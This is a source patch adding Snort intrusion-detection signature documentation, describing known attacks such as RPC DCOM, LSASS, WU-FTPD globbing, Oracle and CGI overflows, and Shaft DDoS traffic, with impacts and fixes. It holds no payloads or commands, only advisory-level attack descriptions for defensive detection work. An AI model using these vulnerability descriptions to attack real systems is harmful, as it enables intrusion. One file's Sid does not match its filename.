+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com> 
+Snort documentation contributed by Josh Sakofsky
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/5293
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1785.txt
+++ snort-2.8.5.2/doc/signatures/1785.txt
@@ -0,0 +1,65 @@
+Rule:  
+
+--
+Sid:
+
+1785
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "voyeur".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "voyeur".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website. etc.etc.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000494.txt
+++ snort-2.8.5.2/doc/signatures/100000494.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000494
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "Zeroboard" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "$s_file_name" parameter in the "write_ok.php" 
+script used by the "Zeroboard" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Zeroboard
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/309.txt
+++ snort-2.8.5.2/doc/signatures/309.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid: 309
+
+--
+Summary:
+This event is generated when an attempt to overflow the buffer of a UNIX or Linux system via Sniffit is made.
+
+--
+Impact:
+Serious. System compromize presenting the attacker with the opportunity to gain remote access to the victim host or execute arbitrary code with the privileges of the superuser account.
+
+--
+Detailed Information:
+Sniffit is a network monitoring tool that can also be configured to log emails. If this is the case, some versions of the tool contain a vulnerability such that a stack overflow via this logging mechanism is possible by a remote attacker.
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply vendor supplied patches.
+
+Use alternate tools such as Snort.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0306
+
+Bugtraq:
+http://www.securityfocus.com/bid/2353
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2124.txt
+++ snort-2.8.5.2/doc/signatures/2124.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+2124
+
+--
+Summary:
+This event is generated when an attempt is made to connect to a host running a Remote PC Access Server. 
+
+--
+Impact:
+Serious. System compromise leading to a compromise of all data on the target host.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to connect to a host using the Remote PC Access Server. This event may also be generated by an attacker using Nessus to scan for Remote PC Access. 
+
+Remote PC is used to remotely administer hosts via the Internet. It offers complete control of the client machine via a TCP connection.
+
+Login information is transmitted in clear text across a TCP connection, the attacker could recover this information by capturing a legitimate session. It may also be possible for an attacker to gain access by utilizing a brute force attack to discover the password to connect.
+
+--
+Affected Systems:
+Any host using the Remote PC Access Server.
+
+--
+Attack Scenarios:
+An attacker can connect to the Remote PC Access Server using the client program and gain complete control of the host if the password and username are known.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A legitimate login session may cause this rule to generate an event.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Disable the Remote PC Access Server
+
+Disallow connection to the server from clients external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1697.txt
+++ snort-2.8.5.2/doc/signatures/1697.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1697
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3287.txt
+++ snort-2.8.5.2/doc/signatures/3287.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3287
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2398.txt
+++ snort-2.8.5.2/doc/signatures/2398.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+2398
+
+--
+Summary:
+This event is generated when an attempt is made to exploit the PHP web
+application WAnewsletter.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the WAnewsletter PHP web application running on a server.
+Multiple vulnerabilities exist in the application which can lead to the
+execution of arbitrary code of the atttackers choosing.
+
+--
+Affected Systems:
+	WAnewsletter
+
+--
+Attack Scenarios:
+An attacker can supply code of their choice by including a file in
+parameters supplied to the script newsletter.php or db_type.php.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000515.txt
+++ snort-2.8.5.2/doc/signatures/100000515.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000515
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "CMS Faethon" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "mainpath" parameter in the "header.php" script 
+used by the "CMS Faethon" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using CMS Faethon
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2532.txt
+++ snort-2.8.5.2/doc/signatures/2532.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2532
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2241.txt
+++ snort-2.8.5.2/doc/signatures/2241.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2241
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerablity in NetWin CWMail 2.7.
+
+--
+Impact:
+Serious. Execution of arbitrary code is possible.
+
+--
+Detailed Information:
+Certain versions of NetWin CWMail suffer from a buffer overflow 
+condition that can present an attacker with the opportunity to execute 
+code of their choosing on the server.
+
+--
+Affected Systems:
+	NetWin CWMail 2.7, a, b, c, d, f, i, j, k, l, m, n, o, p, q, s and t
+	
+--
+Attack Scenarios:
+The attacker would need to supply a large amount of characters to the
+"item=" parameter which could then cause the overflow condition to
+occur.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/4093
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2205.txt
+++ snort-2.8.5.2/doc/signatures/2205.txt
@@ -0,0 +1,57 @@
+Rule:  
+
+--
+Sid:
+2205
+
+--
+Summary:
+This event is generated when an attempt is made to access ezboard.cgi on an internal web server. This may indicate an attempt to exploit a buffer overflow vulnerability in EasyBoard 2000 1.27.
+
+--
+Impact:
+Remote execution of arbitrary code, possibly leading to remote root compromise.
+
+--
+Detailed Information:
+EasyBoard 2000 (EZBoard) is CGI-based bulletin board software for web servers. It contains a vulnerability that allows a malicious user to craft an HTTP request that causes a buffer overflow condition on the web server, and can overwrite system memory with data included in the URL. This enables the attacker to execute arbitrary code on the server with the security context of the web server.
+
+
+--
+Affected Systems:
+Systems running EasyBoard 2000 1.27.
+
+--
+Attack Scenarios:
+An attacker sends a specially crafted HTTP request to ezboard.cgi on a vulnerable web server, creating a buffer overflow condition. The attacker is then able to execute arbitrary code with the security context of the web server. 
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+If a legitimate remote user accesses ezboard.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+It is not known if this vulnerability has been patched by the vendor. However, Jin Ho Yu has submitted a third-party fix to the Bugtraq list. See http://marc.theaimsgroup.com/?l=bugtraq&m=101345069220199&w=2 for ezboard-fix.pl. 
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/4068
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2813.txt
+++ snort-2.8.5.2/doc/signatures/2813.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2813
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure abort_flavor_definition
+. This procedure is included in
+sys.dbms_repcat_fla.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3286.txt
+++ snort-2.8.5.2/doc/signatures/3286.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3286
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1378.txt
+++ snort-2.8.5.2/doc/signatures/1378.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+1378
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a file
+globbing vulnerability associated with WU-FTPD.
+
+--
+Impact:
+Serious. Remote root access. A successful attack can allow remote
+execution of commands with privileges of WU-FTPD, most often root.
+
+--
+Detailed Information:
+An exploit in Washington University FTP daemon (WU-FTPD) code associated
+with file globbing can allow execution of arbitrary code with the
+privileges of WU-FTPD, typically root. WU-FTPD invokes the glob function
+when certain characters are used in a file name argument supplied by an
+FTP client. The glob function fails to properly handle illegal strings
+such as "~{" and "~[". The problem is compounded when the glob function
+returns an error condition that is incorrectly handled, which may lead
+to the corruption of process memory space. This exploit requires login
+access to a vulnerable server either via an anonymous or established
+user account.
+
+--
+Affected Systems:
+	WU-FTPD 2.6.1, 2.6.0, and 2.5.0.
+
+--
+Attack Scenarios:
+An attacker may login to a vulnerable WU-FTP server and enter a
+malformed file argument to gain access and execute arbitrary commands.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+Apply the appropriate vendor supplied patch.
+
+Do not enable anonymous FTP access unless required.  
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.kb.cert.org/vuls/id/886083
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2514.txt
+++ snort-2.8.5.2/doc/signatures/2514.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2514
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overrun condition in Microsoft products via the Local Security Authority
+Subsystem Service (LSASS).
+
+--
+Impact:
+Remote execution of arbitrary code.
+
+--
+Detailed Information:
+A vulnerability exists in LSASS that may present an attacker with the
+opportunity to execute code of their choosing on an affected host.
+
+The problem lies in an unchecked buffer in the LSASS service, suscessful
+exploitation may present the attacker with the opportunity to gain
+control of the affected system.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems.
+
+--
+Attack Scenarios:
+An attcker needs to make a specially crafted request to the LSASS
+service that could contain harmful code to gain further access to the
+system.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Use a packet filtering firewall to deny access to TCP and UDP ports 135
+and 445, UDP ports 137 and 138 and TCP ports 139 and 593 from resources
+outside the protected network.
+
+Access should also be denied to ephemeral ports and any other ports used
+by RPC services from sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2976.txt
+++ snort-2.8.5.2/doc/signatures/2976.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+533
+
+--
+Summary:
+This event is generated when an attempt is made to access the C$ default
+administrative share of a Windows host.
+
+--
+Impact:
+Serious. Possible administrator access to the host. Information 
+disclosure.
+
+--
+Detailed Information:
+By default, Windows hosts have default administrative shares of the 
+local hard drives using the format %DRIVE_LETTER% + $. Anybody with 
+administrative rights can remotely access the share.
+
+--
+Affected Systems:
+	Windows hosts.
+
+--
+Attack Scenarios:
+An attacker may be attempting to access files located on the C drive of 
+the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Netbios access from external networks (tcp port 139).
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS339
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=kb;en-us;100517
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1483.txt
+++ snort-2.8.5.2/doc/signatures/1483.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1483
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2871.txt
+++ snort-2.8.5.2/doc/signatures/2871.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2871
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_priority_nchar
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1753.txt
+++ snort-2.8.5.2/doc/signatures/1753.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+1753
+
+--
+Summary:
+This event is generated when an attempt is made to access the as_web.exe component associated with the askSam Web Publisher software.
+
+--
+Impact:
+Cross-site scripting.  This may allow execution of arbitrary commands on a victim host that visits the vulnerable server.
+
+--
+Detailed Information:
+
+askSam Web Publisher is a product that allows the creation and publication of documents and databases on the Internet.  A vulnerability exists in the as_web.exe or as_web4.exe component that may allow cross-site scripting because of a failure to filter script and HTML when error messages are returned.  This may allow an attacker to execute arbitrary code on the victim host that visits the vulnerable server.
+
+--
+Affected Systems:
+askSam Web Publisher 4.0
+
+
+--
+Attack Scenarios:
+An attacker can inject malicious code in vulnerable askSam input fields that use as_web.exe or as_web4.exe. The may allow execution of arbitrary code on a victim host that visits the vulnerable server.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Disable scripting language support in your browser and e-mail client software to prevent becoming a victim host.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/4670
+
+--
--- snort-2.8.5.2.orig/doc/signatures/240.txt
+++ snort-2.8.5.2/doc/signatures/240.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+240
+
+--
+Summary:
+This event is generated when a DDoS Shaft agent communicates with a Shaft handler.  It is also possible that this event may be generated when any host attempts to discover a Shaft handler.   
+
+--
+Impact:
+Attempted DDoS. If the listed source IP is in your network, it may be a Shaft agent or a host attempting to discover Shaft handlers.  If the listed destination IP is in your network, it may be a Shaft handler.
+
+--
+Detailed Information:
+The Shaft DDoS uses a tiered structure of compromised hosts to coordinate and participate in a distributed denial of service attack. Handlers communicate with agents to direct them to launch attacks. An agent may communicate with a handler using a UDP packet to destination port 20433 with a content of "alive".
+
+--
+Affected Systems:
+Any Shaft compromised host.
+
+--
+Attack Scenarios:
+A Shaft agent needs to communicate with a handler before it is given directions to launch an attack. 
+
+--
+Ease of Attack:
+Simple. Shaft code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet-filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS256
+
+Miscellaneous:
+http://biocserver.cwru.edu/~jose/shaft_analysis/
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2383.txt
+++ snort-2.8.5.2/doc/signatures/2383.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid:
+2383
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the Microsoft implementation of the ASN.1 Library.
+
+--
+Impact:
+Serious. Execution of arbitrary code, DoS.
+
+--
+Detailed Information:
+A buffer overflow condition in the Microsoft implementation of the ASN.1 
+Library. It may be possible for an attacker to exploit this condition by 
+sending specially crafted authentication packets to a host running a 
+vulnerable operating system.
+
+When the taget system decodes the ASN.1 data, exploit code may be included 
+in the data that may be excuted on the host with system level privileges. 
+Alternatively, the malformed data may cause the service to become 
+unresponsive thus causing the DoS condition to occur.
+
+--
+Affected Systems:
+	Microsoft Windows NT
+	Microsoft Windows NT Terminal Server Edition
+	Microsoft Windows 2000
+	Microsoft Windows XP
+	Microsoft Windows 2003
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0818
+
+US-CERT
